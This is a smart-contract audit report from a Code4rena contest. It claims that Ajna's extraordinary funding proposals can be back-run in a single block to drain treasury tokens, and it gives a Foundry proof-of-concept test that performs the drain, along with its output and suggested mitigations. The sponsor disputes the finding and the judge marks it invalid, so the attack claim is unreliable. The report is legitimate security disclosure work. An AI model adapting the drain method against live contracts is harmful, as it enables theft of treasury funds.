Extraordinary Funding proposal could be susceptible back-run

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L84-L124 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L131-L157 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L55-L82

Vulnerability details

Impact

An extraordinary proposal can be proposed, voted on, and executed within a single transaction, in the same block. As a result, an attacker with enough voting power to meet the conditions on their own could back-run a transaction to steal funds from the treasury. Flash loans could also be used to manipulate some variables, but after numerous attempts, no profitable result has been found.

Four major variables play an important role in the conditions: (A) the token's total supply, (B) the attacker's voting power, (C) the token amount in the treasury, and (D) the number of successfully executed extraordinary proposals.

Ian Harvey from the AJNA team confirmed that the burn event will occur manually. The attacker could back-run the burning transaction, decreasing of the total supply making it easier to meet the conditions. Alternatively, they could back-run the treasury funding transaction, increasing of the treasury making it easier to meet the conditions, or both if the attacker lucky enough to has these 2 transaction in the same block.

However, only two variables can be manipulated and finding a combination of numbers that yields a profitable result behind this attack is still difficult. Therefore, while my proof shows that it is possible, it is unlikely to happen.

More detailed analysis

The extraordinary funding process consists of 3 steps:

1. Propose an extraordinary proposal.
2. Vote on the proposal.
3. Execute the proposal when it receives enough votes.

The proposer can set the proposal ending block to end within the same block as proposing or up to roughly 1 month. However, the start block is set to the current block. This means the proposal is ready to be voted on immediately after exiting the proposing function.

If the proposal receives enough votes, it can be executed immediately in the same block.number or in the same transaction. However, 2 conditions must be met for a proposal to be considered executable.

File: ajna-grants/src/grants/base/ExtraordinaryFunding.sol

164:    function _extraordinaryProposalSucceeded(
165:        uint256 proposalId_,
166:        uint256 tokensRequested_
167:    ) internal view returns (bool) {
168:        uint256 votesReceived          = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived);
169:        uint256 minThresholdPercentage = _getMinimumThresholdPercentage();
170:
171:        return
172:            // succeeded if proposal's votes received doesn't exceed the minimum threshold required
173:            (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage))
174:            &&
175:            // succeeded if tokens requested are available for claiming from the treasury
176:            (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
177:        ;
178:    }

The second condition is easier to pass and explain. It requires that the proposal must not request an amount greater than 50% of the treasury. The threshold will be increased by 5% per successfully executed extraordinary proposal. In other words, the higher the number of successfully executed proposals, the higher the threshold for the next proposal, resulting in a lower granting limit.

The first condition is harder to pass (and explain). The proposal must have votes not lower than the sum of the request amount plus 50% of all supply outside the treasury. It is harder to get past if (1) supply in treasury is very small compared to total supply, meaning totalSupply - treasury results in a larger number, and (2) the threshold will also be increased by 5% per successfully executed extraordinary proposal.

This makes flash loan attacks very difficult to yield profitable results because of _getSliceOfNonTreasury() and _getSliceOfTreasury() that include the threshold percentage in their calculations. To put it simply, every amount from a flash loan that is put in to manipulate either totalSupply or treasury can be taken out up to 50% of that amount, resulting in > out.

Example scenario, assuming:

• Total supply = 1000 AJNA
• In treasury = 5 AJNA (0.5% of total supply)
• Number of executed proposals = 2
• Therefore, minThreshold = 50% + (5% * 2) = 60%

If someone proposes an extraordinary proposal to request 1 AJNA: First condition: votesReceived >= 1 + ((1000-5) * 60/100) = votesReceived >= 597. 1 AJNA = 1 vote, so this proposal requires at least 597 AJNA to pass the condition, which is 59.7% of total supply. Second condition: tokensRequested_ <= (5 * (100-60)/100) = tokensRequested_ <= 2, so this proposal can request up to 2 AJNA. The proposal actually requests 1 AJNA, therefore it passes easily.

AJNA is burnable, so the total supply can be expected to decrease. If:

• Total supply = 900 AJNA (10% burned)
• In treasury = 270 AJNA (30% of total supply)
• Other variables stay the same

First condition: votesReceived >= 1 + ((900-270) * 60/100) = votesReceived >= 378. 1 AJNA = 1 vote, so this proposal requires at least 378 AJNA to pass the condition, which is now down to 42% of total supply. Second condition: tokensRequested_ <= (270 * (100-60)/100) = tokensRequested_ <= 108, so this proposal can request up to 108 AJNA. The proposal actually requests 1 AJNA, therefore it passes easily.

Proof of Concept

Please append the following PoC function to the file ajna-grants/test/unit/ExtraordinaryFunding.t.sol. The test should pass without errors.

File: ajna-grants/test/unit/ExtraordinaryFunding.t.sol

    function testPoCBackRunEFM() public {
        /*
        - Total supply: 2_000_000_000
        - Already in treasury: 500_000_000 (25%)
        - Among 24 holders : 50_000_000 each (2.5%); 1_200_000_000 total (60%)
        - Token deployer: 300_000_000 (15%)
        */
        emit log("========== Initial ==========");
        emit log_named_uint("totalSupply", _token.totalSupply());
        assertEq(_token.totalSupply(), 2_000_000_000 * 1e18, "Should have 2b total supply");
        assertEq(_token.balanceOf(address(_grantFund)), 500_000_000 * 1e18, "Should have 500m in treasury");

        // transfer all to _tokenHolder1 for easier
        for (uint i = 1; i < _votersArr.length; i++) {
            changePrank(_votersArr[i]);
            _token.transfer(_tokenHolder1, _token.balanceOf(_votersArr[i]));
        }
        assertEq(_token.balanceOf(_tokenHolder1), 1_200_000_000 * 1e18, "Should have sum of 1.2b in holders");

        // Assuming the burning will be occured in this block, 10% will be burned
        // 1_800_000_000 will be the new total supply, but not yet

        // Attacker holds 60% of supply is too high, decrease to 25% for more realistic
        // Transfer the excess back to deployer
        // Remaining = 450_000_000 (25% of 1.8b)
        changePrank(_tokenHolder1);
        _token.transfer(_tokenDeployer, _token.balanceOf(_tokenHolder1) - 450_000_000 * 1e18);
        _token.delegate(_tokenHolder1);
        uint expectedVote = _token.balanceOf(_tokenHolder1);
        assertEq(expectedVote, 450_000_000 * 1e18, "Should hold exact 450m");
        emit log_named_uint("_tokenHolder1 voting power", expectedVote);

        // another 500m to treasury
        // In treasury: 1_000_000_000 (50%)
        changePrank(_tokenDeployer);
        _token.approve(address(_grantFund), _token.balanceOf(_tokenDeployer));
        _grantFund.fundTreasury(500_000_000 * 1e18);
        assertEq(_grantFund.treasury(), 1_000_000_000 * 1e18, "Should have 1b in treasury");
        assertEq(_grantFund.treasury(), _token.balanceOf(address(_grantFund)), "Should hold the same number as the actual balance");
        emit log_named_uint("In treasury", _grantFund.treasury());
        emit log("");

        // voting power snapshot, need to hold at least 33 blocks
        vm.roll(block.number + 33);

        emit log("========== Before burning ==========");
        emit log_named_uint("totalSupply", _token.totalSupply());
        emit log_named_uint("In treasury", _grantFund.treasury());

        changePrank(_tokenHolder1);
        uint endBlock = block.number;
        address[] memory target = new address[](1);
        target[0] = address(_token);
        uint[] memory value = new uint[](1);
        bytes[] memory data = new bytes[](1);
        uint drainAmount = 50_000_000 * 1e18; 
        data[0] = abi.encodeWithSelector(_token.transfer.selector, address(this), drainAmount);
        string memory desc = "testPoCFlashLoanEFM";
        uint proposalId = _grantFund.proposeExtraordinary(
            endBlock,
            target,
            value,
            data,
            desc
        );
        uint voteCasted = _grantFund.voteExtraordinary(proposalId);
        assertEq(voteCasted, expectedVote, "Should received the votes amount as expected");
        emit log_named_uint("votesReceived", voteCasted);
        bytes32 hashedDesc = keccak256(bytes(desc));

        // Proof that if the attacker don't back-run the burning transaction, proposal will be failed
        // votesReceived = 450m
        // drainAmount = 50m
        // _getSliceOfNonTreasury(minThresholdPercentage) = 500m
        // _getSliceOfTreasury(Maths.WAD - minThresholdPercentage) = 500m
        // First condition (failed): 450m >= 550m (50m + 500m)
        // Second condition (passed): 50m <= 500m
        assertFalse(_grantFund.getExtraordinaryProposalSucceeded(proposalId), "Should not yet be executable");
        uint minThresholdPercentage = _grantFund.getMinimumThresholdPercentage();
        emit log_named_uint("tokensRequested", drainAmount);
        emit log_named_uint("_getSliceOfNonTreasury(minThresholdPercentage)", _grantFund.getSliceOfNonTreasury(minThresholdPercentage));
        emit log_named_uint("_getSliceOfTreasury(Maths.WAD - minThresholdPercentage)", _grantFund.getSliceOfTreasury(1e18 - minThresholdPercentage));
        emit log("");

        // Burning event occured
        // Buyback & burn 10% of supply
        changePrank(_tokenDeployer);
        bytes memory burndata = abi.encodeWithSignature("burn(uint256)", 200_000_000 * 1e18);
        (bool success,) = address(_token).call(burndata);
        require(success, "Burn failed");
        assertEq(_token.totalSupply(), 1_800_000_000 * 1e18, "Should down to 1.8b");

        // Back-run the burn transaction
        emit log("========== After burning ==========");
        emit log_named_uint("totalSupply", _token.totalSupply());
        emit log_named_uint("In treasury", _grantFund.treasury());
        emit log_named_uint("votesReceived", voteCasted);
        emit log_named_uint("tokensRequested", drainAmount);
        emit log_named_uint("_getSliceOfNonTreasury(minThresholdPercentage)", _grantFund.getSliceOfNonTreasury(minThresholdPercentage));
        emit log_named_uint("_getSliceOfTreasury(Maths.WAD - minThresholdPercentage)", _grantFund.getSliceOfTreasury(1e18 - minThresholdPercentage));
        // The proposal should be executable now
        // votesReceived = 450m
        // drainAmount = 50m
        // _getSliceOfNonTreasury(minThresholdPercentage) = 400m
        // _getSliceOfTreasury(Maths.WAD - minThresholdPercentage) = 500m
        // First condition (passed): 450m >= 450m (50m + 400m)
        // Second condition (passed): 50m <= 500m
        assertTrue(_grantFund.getExtraordinaryProposalSucceeded(proposalId), "Should be executable now");
        assertEq(_token.balanceOf(address(this)), 0, "This contract should hold 0 amount");
        _grantFund.executeExtraordinary(
            target,
            value,
            data,
            hashedDesc
        );
        assertEq(endBlock, block.number);
        assertEq(_token.balanceOf(address(this)), drainAmount, "Should drained the exepected amount to this contract");
    }

run: forge test --match-test testPoCBackRunEFM -vv

Running 1 test for test/unit/ExtraordinaryFunding.t.sol:ExtraordinaryFundingGrantFundTest
[PASS] testPoCBackRunEFM() (gas: 729087)
Logs:
  ========== Initial ==========
  totalSupply: 2000000000000000000000000000
  _tokenHolder1 voting power: 450000000000000000000000000
  In treasury: 1000000000000000000000000000

  ========== Before burning ==========
  totalSupply: 2000000000000000000000000000
  In treasury: 1000000000000000000000000000
  votesReceived: 450000000000000000000000000
  tokensRequested: 50000000000000000000000000
  _getSliceOfNonTreasury(minThresholdPercentage): 500000000000000000000000000
  _getSliceOfTreasury(Maths.WAD - minThresholdPercentage): 500000000000000000000000000

  ========== After burning ==========
  totalSupply: 1800000000000000000000000000
  In treasury: 1000000000000000000000000000
  votesReceived: 450000000000000000000000000
  tokensRequested: 50000000000000000000000000
  _getSliceOfNonTreasury(minThresholdPercentage): 400000000000000000000000000
  _getSliceOfTreasury(Maths.WAD - minThresholdPercentage): 500000000000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 1.25s

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• The extraordinary funding process can be prevented from proposing, voting, and executing in a single transaction by:
  • Setting the startBlock in proposeExtraordinary() to the next block to prevent voting in the same transaction.
  • Changing the condition here in voteExtraordinary() from if (proposal.startBlock > block.number || ... to if (proposal.startBlock >= block.number || ..., to start voting after the startBlock.
• Storing the totalSupply and treasury in the proposal struct and calculating from those values instead of the live values.

Assessed type

MEV

[Picodes]

About flashloans: they can't be used because of this

[c4-sponsor]

ith-harvey marked the issue as sponsor disputed

[ith-harvey]

state changes are synchronous, meaning if one wanted to vote and burn they cannot do both.

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid